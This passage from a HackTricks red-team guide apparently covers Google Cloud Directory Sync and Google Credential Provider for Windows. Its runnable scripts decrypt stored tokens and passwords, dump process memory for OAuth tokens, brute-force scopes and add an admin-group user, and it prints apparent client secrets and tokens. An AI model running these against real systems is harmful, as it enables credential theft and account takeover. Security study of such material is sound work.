$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
}
|
||||
$regKey.Close()
|
||||
|
||||
|
||||
# Decode Base64 IV and Key
|
||||
$ivBytes = [Convert]::FromBase64String($ivBase64)
|
||||
$keyBytes = [Convert]::FromBase64String($keyBase64)
|
||||
|
||||
# Read XML content
|
||||
$xmlContent = Get-Content -Path $xmlConfigPath -Raw
|
||||
|
||||
# Extract Base64-encoded encrypted values using regex
|
||||
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
|
||||
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value
|
||||
|
||||
$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
|
||||
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value
|
||||
|
||||
# Decode encrypted values from Base64
|
||||
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
|
||||
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
|
||||
|
||||
# Function to decrypt data using AES CBC
|
||||
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
|
||||
return $plaintextBytes
|
||||
}
|
||||
|
||||
# Decrypt the values
|
||||
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
|
||||
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)
|
||||
|
||||
$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
|
||||
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)
|
||||
|
||||
# Output the decrypted values
|
||||
Write-Host "Decrypted Refresh Token: $refreshToken"
|
||||
Write-Host "Decrypted Password: $decryptedPassword"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
|
||||
{% endhint %}
|
||||
|
||||
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
$dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCDS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCDS - Scopes
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
|
||||
Also, the refresh token is not valid in every application.
|
||||
{% endhint %}
|
||||
|
||||
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo ""
|
||||
echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
https://www.googleapis.com/auth/admin.directory.resource.calendar
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/admin.directory.userschema
|
||||
https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
|
||||
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
|
||||
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
|
||||
# Add to group
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,978 @@
|
||||
# GCPW - Google Credential Provider for Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store tokens to access Google Workspace in some places in the PC.
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
{% endhint %}
|
||||
|
||||
### GCPW - MitM
|
||||
|
||||
When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```http
|
||||
POST /oauth2/v4/token HTTP/2
|
||||
Host: www.googleapis.com
|
||||
Content-Length: 311
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
[...headers...]
|
||||
|
||||
scope=https://www.google.com/accounts/OAuthLogin
|
||||
&grant_type=authorization_code
|
||||
&client_id=77185425430.apps.googleusercontent.com
|
||||
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
|
||||
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
New lines have been added to make it more readable.
|
||||
|
||||
{% hint style="info" %}
|
||||
It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**.\
|
||||
Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it.
|
||||
|
||||
Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows.
|
||||
{% endhint %}
|
||||
|
||||
Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** it's possible to make it store some logs.
|
||||
|
||||
### GCPW - Fingerprint
|
||||
|
||||
It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist:
|
||||
|
||||
```powershell
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
} else {
|
||||
Write-Output "The process gcpw_xtension.exe is not running."
|
||||
}
|
||||
|
||||
# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
|
||||
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
|
||||
if (Test-Path $gcpwHKLMPath) {
|
||||
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
|
||||
} else {
|
||||
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
|
||||
}
|
||||
|
||||
# Check if HKCU\SOFTWARE\Google\Accounts exists
|
||||
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
|
||||
if (Test-Path $gcpwHKCUPath) {
|
||||
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
} else {
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
|
||||
In **`HKCU:\SOFTWARE\Google\Accounts`** it's possible to access the email of the user and the encrypted **refresh token** if the user recently logged in.
|
||||
|
||||
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** it's possible to find the **domains** that are allowed to login in the key `domains_allowed` and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle...
|
||||
|
||||
{% hint style="info" %}
|
||||
The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
|
||||
# Example response
|
||||
{
|
||||
"audience": "77185425430.apps.googleusercontent.com",
|
||||
"scope": "https://www.google.com/accounts/OAuthLogin",
|
||||
"expires_in": 12880152
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Also it's possible to find the token handle of an access token with a request like:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
-d 'access_token=<access token>'
|
||||
# Example response
|
||||
{
|
||||
"issued_to": "77185425430.apps.googleusercontent.com",
|
||||
"audience": "77185425430.apps.googleusercontent.com",
|
||||
"scope": "https://www.google.com/accounts/OAuthLogin",
|
||||
"expires_in": 1327,
|
||||
"access_type": "offline",
|
||||
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Afaik it's not possible obtain a refresh token or access token from the token handle.
|
||||
{% endhint %}
|
||||
|
||||
Moreover, the file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** is a json containing the information of different **settings** like `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (if several users from Workspace can login in the computer) and `validityPeriodDays` (number of days a user doesn't need to reauthenticate with Google directly).
|
||||
|
||||
## GCPW - Get Tokens
|
||||
|
||||
### GCPW - Registry Refresh Tokens
|
||||
|
||||
Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to find some accounts with the **`refresh_token`** encrypted inside. The method **`ProtectedData.Unprotect`** can easily decrypt it.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
|
||||
|
||||
```powershell
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
# Base registry path
|
||||
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
|
||||
|
||||
# Function to search and decrypt refresh_token values
|
||||
function Get-RegistryKeysAndDecryptTokens {
|
||||
param (
|
||||
[string]$keyPath
|
||||
)
|
||||
|
||||
# Get all values within the current key
|
||||
$registryKey = Get-Item -Path $keyPath
|
||||
$foundToken = $false
|
||||
|
||||
# Loop through properties to find refresh_token
|
||||
foreach ($property in $registryKey.Property) {
|
||||
if ($property -eq "refresh_token") {
|
||||
$foundToken = $true
|
||||
try {
|
||||
# Get the raw bytes of the refresh_token from the registry
|
||||
$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property
|
||||
|
||||
# Decrypt the bytes using ProtectedData.Unprotect
|
||||
$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||||
$decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)
|
||||
|
||||
Write-Output "Path: $keyPath"
|
||||
Write-Output "Decrypted refresh_token: $decryptedToken"
|
||||
Write-Output "-----------------------------"
|
||||
}
|
||||
catch {
|
||||
Write-Output "Path: $keyPath"
|
||||
Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)"
|
||||
Write-Output "-----------------------------"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Recursively process all subkeys
|
||||
Get-ChildItem -Path $keyPath | ForEach-Object {
|
||||
Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
|
||||
}
|
||||
}
|
||||
|
||||
# Start the search from the base key
|
||||
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Example out:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**.
|
||||
|
||||
### GCPW - Disk Refresh Tokens
|
||||
|
||||
The file **`%LocalAppData%\Google\Chrome\User Data\Local State`** stores the key to decrypt the **`refresh_tokens`** located inside the **Google Chrome profiles** of the user like:
|
||||
|
||||
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
|
||||
It's possible to find some **C# code** accessing these tokens in their decrypted manner in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
|
||||
Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
It can be observed that AESGCM is used, the encrypted token starts with a **version** (**`v10`** at this time), then it [**has 12B of nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), and then it has the **cypher-text** with a final **mac of 16B**.
|
||||
|
||||
### GCPW - Dumping tokens from processes memory
|
||||
|
||||
The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**. If Chrome is connected to some Google site, some **process will be storing refresh and/or access tokens in memory!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump Chrome processes and search tokens</summary>
|
||||
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
$dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
I tried the same with `gcpw_extension.exe` but it didn't find any token.
|
||||
|
||||
For some reason, s**ome extracted access tokens won't be valid (although some will be)**. I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Check access token by removing chars 1 by 1</summary>
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# Define the initial access token
|
||||
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"
|
||||
|
||||
# Define the URL for the request
|
||||
url="https://www.googleapis.com/oauth2/v1/tokeninfo"
|
||||
|
||||
# Loop until the token is 20 characters or the response doesn't contain "error_description"
|
||||
while [ ${#access_token} -gt 20 ]; do
|
||||
# Make the request and capture the response
|
||||
response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)
|
||||
|
||||
# Check if the response contains "error_description"
|
||||
if [[ ! "$response" =~ "error_description" ]]; then
|
||||
echo "Success: Token is valid"
|
||||
echo "Final token: $access_token"
|
||||
echo "Response: $response"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Remove the last character from the token
|
||||
access_token=${access_token:0:-1}
|
||||
|
||||
echo "Token length: ${#access_token}"
|
||||
done
|
||||
|
||||
echo "Error: Token invalid or too short"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCPW - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
|
||||
```bash
|
||||
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCPW - Scopes
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
|
||||
Alsoe, the refresh token is not valid in every application.
|
||||
{% endhint %}
|
||||
|
